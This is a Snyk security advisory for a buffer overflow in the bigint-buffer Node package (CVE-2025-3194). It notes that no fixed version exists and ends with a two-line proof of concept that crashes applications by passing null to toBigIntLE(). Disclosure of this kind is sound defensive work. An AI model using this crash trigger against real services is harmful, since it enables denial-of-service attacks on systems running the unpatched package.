Buffer Overflow Affecting bigint-buffer package, versions >=0.0.0
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-JS-BIGINTBUFFER-3364597
- published3 Apr 2025
- disclosed20 Mar 2023
- creditCris Staicu
Introduced: 20 Mar 2023
CVE-2025-3194 (opens in a new tab)How to fix?
There is no fixed version for bigint-buffer.
Overview
bigint-buffer is a Node utility that converts TC39 Proposed BigInts to and from buffers
Affected versions of this package are vulnerable to Buffer Overflow in the toBigIntLE() function. Attackers can exploit this to crash the application.
PoC
let be = require('bigint-buffer');
console.log(be.toBigIntLE(null));